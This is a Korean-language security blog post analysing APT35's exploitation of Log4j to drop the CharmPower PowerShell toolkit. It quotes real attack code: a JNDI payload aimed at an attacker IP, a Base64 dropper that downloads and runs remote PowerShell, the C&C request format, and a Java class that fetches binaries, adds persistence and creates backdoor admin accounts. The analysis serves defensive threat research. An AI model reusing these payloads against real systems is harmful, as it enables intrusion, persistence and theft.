[하루한줄] Log4j 취약점을 악용한 새로운 Powershell Toolkit

URL

https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/

Target

  • Apache Log4j 2.x <= 2.15.0-rc1
  • Windows OS >= 10

Explain

이란의 APT35 그룹에서 log4j 취약점을 악용한 Powershell Tooklit을 배포하는 것이 탐지되었습니다.

해당 Toolkit은 Log4j 취약점을 통해 dropper 악성코드를 실행하여 설치되며 이후 시스템에서 정보를 수집 후 C&C서버에 보내고 다음 명령을 받는 행위를 반복 수행합니다.

조금 더 자세히 살펴보겠습니다.

log4j가 나오자마자 바로 공격하기 위해 해당 그룹은 오픈소스 JNDI Exploit 툴을 활용하였습니다. 해당 툴의 ldap서버에 Malicious Class를 보내어 바인딩 과정에서 피해자의 기기에서 RCE가 발생합니다. 오픈소스 JNDI Exploit 툴을 활용해 log4j 취약점을 트리거한 뒤, 기기에 Powershell 명령을 실행시키는 방식으로 감염이 이루어집니다. 이후 공격 페이로드를 다운 받아 명령어를 실행하고 실행 결과를 C&C서버로 보내는 방식으로 진행되며 백도어를 심는 행위도 진행됩니다.

${jndi[:]ldap[://]144[.]217[.]139[.]155:4444/Basic/Command/Base64/cG93ZXJzaGVsbCAtZWMgSkFCWEFHVUFZZ0JEQUd3QWFRQmxBRzRBZEFBOUFFNEFaUUIzQUMwQVR3QmlBR29BWlFCakFIUUFJQUJ1QUdVQWRBQXVBSGNBWlFCaUFHTUFiQUJwQUdVQWJnQjBBQTBBQ2dBa0FGUUFaUUI0QUhRQUlBQTlBQ0FBSkFCWEFHVUFZZ0JEQUd3QWFRQmxBRzRBZEFBdUFHUUFid0IzQUc0QWJBQnZBR0VBWkFCVEFIUUFjZ0JwQUc0QVp3QW9BQ0lBYUFCMEFIUUFjQUJ6QURvQUx3QXZBSE1BTXdBdUFHRUFiUUJoQUhvQWJ3QnVBR0VBZHdCekFDNEFZd0J2QUcwQUx3QmtBRzhBWXdCc0FHa0FZZ0J5QUdFQWNnQjVBSE1BWVFCc0FHVUFjd0F2QUhRQVpRQnpBSFFBTGdCMEFIZ0FkQUFpQUNrQURRQUtBSEFBYndCM0FHVUFjZ0J6QUdnQVpRQnNBR3dBSUFBdEFHVUFZd0FnQUNRQVZBQmxBSGdBZEFBPQ==}

위 페이로드는 아래와 같은 명령어를 실행합니다.

ExploitQVQRSQrKet.cmd = "powershell -ec JABXAGUAYgBDAGwAaQBlAG4AdAA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0AA0ACgAkAFQAZQB4AHQAIAA9ACAAJABXAGUAYgBDAGwAaQBlAG4AdAAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACIAaAB0AHQAcABzADoALwAvAHMAMwAuAGEAbQBhAHoAbwBuAGEAdwBzAC4AYwBvAG0ALwBkAG8AYwBsAGkAYgByAGEAcgB5AHMAYQBsAGUAcwAvAHQAZQBzAHQALgB0AHgAdAAiACkADQAKAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAGUAYwAgACQAVABlAHgAdAA=";
  • ec 옵션은 Encoded Command라는 뜻으로 인코딩된 명령을 실행할 때 사용합니다.

구체적인 내용을 확인하기 위해 Base64 코드를 한번 더 디코딩을 해보겠습니다.

$WebClient=New-Object net.webclient
$Text = $WebClient.downloadString("<https://s3.amazonaws.com/doclibrarysales/test.txt>")
powershell -ec $Text

해당 코드는 S3 Bucket으로 부터 인코딩된 Powershell Payload를 다운받고 실행하는 dropper임을 알 수 있습니다. 다운받아진 Powershell Payload는 CharmPower 라고 불립니다. CharmPower 라고 불리는 이 페이로드는 다음과 같은 동작을 합니다. CharmPower는 메인모듈과 여러 서브모듈로 나눠서 볼 수 있습니다.

우선 메인 모듈에선 아래와 같은 작업이 진행됩니다.

  • 네트워크 연결 상태 확인
  • 시스템 정보 확인
  • C&C 서버 주소 획득
  • C&C 서버와 통신하여 암호화된 서브 모듈 코드를 다운
  • 서브 모듈 코드 복호화 후 실행

C&C 서버와 통신 Format은 아래와 같습니다.

POST /Api/Session HTTP/1.1
Host: <C&C domain>

Session="[OS Version] Enc;;[Computer name]__[Content of Ni.txt]"

해당 요청을 보내면 C&C 서버에서는 아래 두개의 응답을 보냅니다.

  • No Command - 요청을 계속 진행하라
  • Base64 String - 이 서버 모듈코드를 복호화 후 실행하라

모듈 코드는 간단한 치환 암호 및 문자열 연산이 적용된 채로 응답이 옵니다. 해당 코드를 복호화하면 language, code, modulename, action이 ~을 구분자로 하여 연결된 형태의 문자열이 나옵니다. language는 powershell 또는 C#을 사용하며 언어별 스크립트 블록 생성 로직의 차이가 있습니다.

# Powershell
$scriptBlock = [Scriptblock]::Create($Command)
# C Sharp
$ScriptBlock = {
    Param ([string] [Parameter(Mandatory = $true)] $Command)
    Add-Type $Command
    [AppProject.Program]::Main()
}

action은 start, stop, downloadutil이 있습니다. start는 아래와 같은 코드로 스크립트 블록을 실행시킵니다.

Start-Job $ScriptBlock -ArgumentList $Command -Name $ThreadName

stop, downloadutil 은 Invoke-Expression $Commands 명령을 실행하여 동작합니다. 추적을 피하기 위한 수단으로 360번의 통신 이후 C&C Domain을 다시 얻어 통신을 진행합니다.

서브 모듈을 통해 이루어지는 작업은 아래와 같습니다.

  • 레지스트리 또는 wmic 명령어를 통한 설치 프로그램 목록 조회
  • 기기의 화면 스크린샷 수집 후 FTP서버를 통해 전송
  • tasklist 를 통해 실행중인 프로세스 정보 수집
  • systeminfo 를 통해 OS 및 기기 정보 수집
  • C&C 서버에 미리 정의된 명령 수행
  • 다른 서브 모듈의 실행 흔적을 지우기

APT35는 아기 고양이(Charming Kitten)이라는 귀여운 이름으로도 불리는데 그들의 도구와 노출된 인프라 환경을 재사용하여 쉽게 추적당하기 때문입니다. 이 그룹의 다른 APT 공격들을 살펴보면 공통적으로 코드에 Stack=Overflow 라는 독특한 파라미터가 존재하거나 인프라에 /Api/Session 이라는 Endpoint가 존재하는 특징이 있습니다.

이 toolkit 외에도 APT35는 Log4j를 취약점을 악용하여 백도어를 심으려는 시도를 하고 있는데 아래 페이로드를 보시면 윈도우와 리눅스에서 모두 동작하도록 구현되어 있습니다.

public RCE() {
    if (File.separator.equals("/")) {
        this.download("<https://148.251.71.182/symantec_linux.x86>", "/tmp/lock");
        try {
            Runtime.getRuntime().exec(new String[] { "/bin/sh", "-c", "chmod +x /tmp/lock ; flock -n /tmp/log.bak /tmp/lock &" });
            Runtime.getRuntime().exec(new String[] { "/bin/sh", "-c", "(crontab -l && echo \\\\"@reboot flock -n /tmp/log.bak /tmp/lock &\\\\") | crontab -" });
            Runtime.getRuntime().exec(new String[] { "/bin/sh", "-c", "sudo useradd -g -m -s /bin/bash -p $(echo P@ssw0rd1234 | openssl passwd -1 -stdin) master" });
        }
        catch (IOException iOException) {
            iOException.printStackTrace();
        }
    }
    else {
        this.download("<https://148.251.71.182/symantec.tmp>", "c:\\\\\\\\windows\\\\\\\\temp\\\\\\\\dllhost.exe;");
        String win_cmd = "Start-Process c:\\\\\\\\windows\\\\\\\\temp\\\\\\\\dllhost.exe;";
        win_cmd += "net user /add DefaultAccount P@ssw0rd123412; net user DefaultAccount /active:yes; net user DefaultAccount P@ssw0rd12341234; net localgroup Administrators /add DefaultAccount; net localgroup 'Remote Desktop Users' /add DefaultAccount; Set-LocalUser -Name DefaultAccount -PasswordNeverExpires 1;";
        win_cmd += "New-Itemproperty -path 'HKLM:\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run' -Name 'DllHost' -value 'c:\\\\\\\\windows\\\\\\\\temp\\\\\\\\dllhost.exe' -PropertyType 'String' -Force;";
        final String[] arrayOfString = { "powershell", "-c Invoke-Command", "{" + win_cmd + "}" };
        try {
            Runtime.getRuntime().exec(arrayOfString);
        }
        catch (IOException iOException2) {
            iOException2.printStackTrace();
        }
    }